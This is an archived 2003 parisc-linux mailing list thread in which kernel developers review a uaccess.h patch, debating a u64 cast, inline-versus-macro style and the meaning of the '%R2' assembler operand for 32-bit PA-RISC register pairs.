X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sun, 9 Nov 2003 21:45:56 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20031110044556.GB16478@colo.lackof.org>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be> <3FAE4639.6030200@tiscali.be> <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk> <3FAE8EA4.3050208@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622946 1213 80.91.229.3 (22 Nov 2014 02:22:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:26 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org,
	Grant Grundler <grundler@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 21:45:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 154C04841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 21:45:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 542D229803E; Sun,  9 Nov 2003 21:45:57 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16427-04; Sun, 9 Nov 2003 21:45:56 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7016C298037; Sun,  9 Nov 2003 21:45:56 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FAE8EA4.3050208@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20051

On Sun, Nov 09, 2003 at 06:59:48PM +0000, Joel Soete wrote:
> Just for remainder here is the alignement of uaccess.h (i just finished 
> to test on my c110 :)):
> ----------><----------
> --- uaccess.h.orig      2004-04-20 21:03:59.000000000 +0200
> +++ uaccess.h   2003-11-09 18:47:06.000000000 +0100
> @@ -42,8 +42,8 @@
>  #if BITS_PER_LONG == 32
>  #define LDD_KERNEL(ptr) __get_kernel_bad();
>  #define LDD_USER(ptr) __get_user_bad();
> -#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
> -#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
> +#define STD_KERNEL(x, ptr) __put_kernel_asm64((u64)x,ptr)
> +#define STD_USER(x, ptr) __put_user_asm64((u64)x,ptr)

willy just removed the (u32) cast and things seem to work for him.
Do you need the (u64) cast?

...
> -static inline void __put_kernel_asm64(u64 x, void *ptr)
...
> +#define __put_kernel_asm64(x, ptr)                         \
...

Why replace the static inline with a macro?
static inline provides type checking and
type "coercion" when it's not exactly right.

> +       __asm__ __volatile__ (                              \
> +               "\n1:\tstw\t%2,0(%1)\n"                     \
> +               "2:\tstw\t%R2,4(%1)\n"                      \

What is "%R2" intended to be?
Randolph pointed out this is broken before and I was wrong
to commit this chunk to the 2.4 tree (I'm working on
removing it now).

thanks,
grant


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sun, 9 Nov 2003 21:55:23 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20031110045523.GC16478@colo.lackof.org>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be> <3FAE4639.6030200@tiscali.be> <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk> <3FAE8EA4.3050208@tiscali.be> <20031110044556.GB16478@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622946 1218 80.91.229.3 (22 Nov 2014 02:22:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 21:55:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A4954841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 21:55:25 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AC83F29803E; Sun,  9 Nov 2003 21:55:23 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 16427-06; Sun, 9 Nov 2003 21:55:23 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1ADC9298037; Sun,  9 Nov 2003 21:55:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031110044556.GB16478@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20052

On Sun, Nov 09, 2003 at 09:45:56PM -0700, Grant Grundler wrote:
> What is "%R2" intended to be?
> Randolph pointed out this is broken before and I was wrong
> to commit this chunk to the 2.4 tree (I'm working on removing it now).

For reference:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-November/018441.html

grant


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 00:01:51 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200311100501.hAA51qe1002160@hiauly1.hia.nrc.ca>
References: <20031110044556.GB16478@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622947 1221 80.91.229.3 (22 Nov 2014 02:22:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:27 +0000 (UTC)
Cc: soete.joel@tiscali.be, willy@debian.org,
	parisc-linux@lists.parisc-linux.org, grundler@parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 22:01:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F1E44841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 22:01:54 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hAA51q2v002161;
	Mon, 10 Nov 2003 00:01:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hAA51qe1002160;
	Mon, 10 Nov 2003 00:01:52 -0500 (EST)
In-Reply-To: <20031110044556.GB16478@colo.lackof.org> from "Grant Grundler" at Nov 9, 2003 09:45:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20053

> Why replace the static inline with a macro?
> static inline provides type checking and
> type "coercion" when it's not exactly right.
> 
> > +       __asm__ __volatile__ (                              \
> > +               "\n1:\tstw\t%2,0(%1)\n"                     \
> > +               "2:\tstw\t%R2,4(%1)\n"                      \
> 
> What is "%R2" intended to be?

"%R2" should cause the second register name of a register pair to
be printed.  It's used for long long support on 32-bit ports.  See
case 'R' in the function print_operand in pa.c.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sun, 9 Nov 2003 21:07:32 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20031110050732.GZ28967@tausq.org>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org> <3FAD6B1A.6060605@tiscali.be> <3FAE4639.6030200@tiscali.be> <20031109175735.GE2014@parcelfarce.linux.theplanet.co.uk> <3FAE8EA4.3050208@tiscali.be> <20031110044556.GB16478@colo.lackof.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622947 1223 80.91.229.3 (22 Nov 2014 02:22:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:27 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 22:04:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72EF94841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 22:04:15 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C0794CD294; Sun,  9 Nov 2003 21:07:32 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20031110044556.GB16478@colo.lackof.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20054

> What is "%R2" intended to be?
> Randolph pointed out this is broken before and I was wrong
> to commit this chunk to the 2.4 tree (I'm working on
> removing it now).

Just a clarification:

%R2 is not *wrong* -- it points to the right side of argument register 
2 (jda explained this in an earlier thread), but I am not 100% sure 
%R2 will do the right thing for a 32-bit build though -- if you are 
running on a pa1.1 machine and the register is only 32-bit, does %R2 
automatically do the right thing with 64-bit arguments?  I guess it's 
easy enough to tell by looking at the code gcc generates...

anyway, i think we should stick with the inline version of the code
too....

thx
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 00:25:42 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200311100525.hAA5Pg2V002251@hiauly1.hia.nrc.ca>
References: <20031110050732.GZ28967@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622947 1225 80.91.229.3 (22 Nov 2014 02:22:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:27 +0000 (UTC)
Cc: grundler@parisc-linux.org, soete.joel@tiscali.be,
	willy@debian.org, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov  9 22:25:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BEBDD4841
	for <parisc-linux@lists.parisc-linux.org>; Sun,  9 Nov 2003 22:25:44 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id hAA5Ph2v002253;
	Mon, 10 Nov 2003 00:25:43 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id hAA5Pg2V002251;
	Mon, 10 Nov 2003 00:25:42 -0500 (EST)
In-Reply-To: <20031110050732.GZ28967@tausq.org> from "Randolph Chung" at Nov 9, 2003 09:07:32 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20055

> %R2 is not *wrong* -- it points to the right side of argument register 
> 2 (jda explained this in an earlier thread), but I am not 100% sure 
> %R2 will do the right thing for a 32-bit build though -- if you are 
> running on a pa1.1 machine and the register is only 32-bit, does %R2 
> automatically do the right thing with 64-bit arguments?  I guess it's 
> easy enough to tell by looking at the code gcc generates...

'R' simply adds 1 to the register number specified for operand 2.
This is the right thing to do for a DImode value running 32-bit code.
In the code that gcc generates, we use a specific set of register
pairs for long doubles (see HARD_REGNO_MODE_OK).  The main question
that I would have is is the register created in the asm consistent
with the register allocation needed for a DImode value.  I think it
would be if the mode/type for the input/output was specified
correctly.  This can be done with a cast in the asm.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 10:16:50 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <3F969FFE00009CDD@ocpmta2.freegates.net>
References: <200311100525.hAA5Pg2V002251@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622948 1228 80.91.229.3 (22 Nov 2014 02:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:28 +0000 (UTC)
Cc: grundler@parisc-linux.org, willy@debian.org,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 02:16:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E92CF4841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 02:16:58 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AJ8AF-0003jC-00; Mon, 10 Nov 2003 10:16:51 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 10 Nov 2003 10:16:50 +0100
In-Reply-To: <200311100525.hAA5Pg2V002251@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20056

>-- Original Message --
>To: tausq@debian.org
>From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
>Cc: grundler@parisc-linux.org, soete.joel@tiscali.be,
>	willy@debian.org, parisc-linux@lists.parisc-linux.org
>Date: Mon, 10 Nov 2003 00:25:42 -0500 (EST)
>Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
>
>
>> %R2 is not *wrong* -- it points to the right side of argument register

> 2 (jda explained this in an earlier thread), but I am not 100% sure 
> %R2 will do the right thing for a 32-bit build though -- if you are 
> running on a pa1.1 machine and 
>he register is only 32-bit, does %R2 
> automatically do the right thing with 64-bit arguments?  I guess it's 
> easy enough to tell by looking at the code gcc generates...

'R' simply adds 1 to the register number specified for operand 2.
This is
>the right thing to do for a DImode value running 32-bit code.
In the code that gcc generates, we use a specific set of register
pairs for long doubles (see HARD_REGNO_MODE_OK).  The main question
that I would have is is the register created in the a
>m consistent
with the register allocation needed for a DImode value.  I think it
would be if the mode/type for the input/output was specified
correctly.  This can be done with a cast in the asm.

Dave
-- 
J. David Anglin                         
>        dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-li
>ux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 10:47:33 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <3F969FFE00009D22@ocpmta2.freegates.net>
References: <200311100525.hAA5Pg2V002251@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622948 1232 80.91.229.3 (22 Nov 2014 02:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:28 +0000 (UTC)
Cc: grundler@parisc-linux.org, willy@debian.org,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 02:47:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EE3A4841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 02:47:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AJ8dy-0003HJ-00; Mon, 10 Nov 2003 10:47:34 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 10 Nov 2003 10:47:33 +0100
In-Reply-To: <200311100525.hAA5Pg2V002251@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20057

Dave,

Thanks a lot you explain all better I while I was trying to find a sleep
(too coffee even if not java :) ).

Just to remaind the following of the tread that Grant mentioned before:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-November/018443.html>

>  I think it would be if the mode/type for the input/output was specified
> correctly.  This can be done with a cast in the asm.

Yes, that is why I need cast in this case.

That says, obviously I just had enough time to test it with success before
submit it :)

Finaly, for the history, before 'BLKGETSIZE64' was used in evms and xfs,
I tried to write it as a macro because there was (as there are still) macro
for 32bit world on a pa1.1 and also for 64bits on pa2.0 and so I would like
to continue the same style :)

Thanks again to all for your attention,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Mon, 10 Nov 2003 10:51:32 +0100
Lines: 74
Approved: news@gmane.org
Message-ID: <3F969FFE00009D32@ocpmta2.freegates.net>
References: <20031110044556.GB16478@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622948 1235 80.91.229.3 (22 Nov 2014 02:22:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:28 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org,
	"Grant Grundler" <grundler@parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 10 02:51:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D8894841
	for <parisc-linux@lists.parisc-linux.org>; Mon, 10 Nov 2003 02:51:37 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AJ8hp-0006iV-00; Mon, 10 Nov 2003 10:51:33 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 10 Nov 2003 10:51:32 +0100
In-Reply-To: <20031110044556.GB16478@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
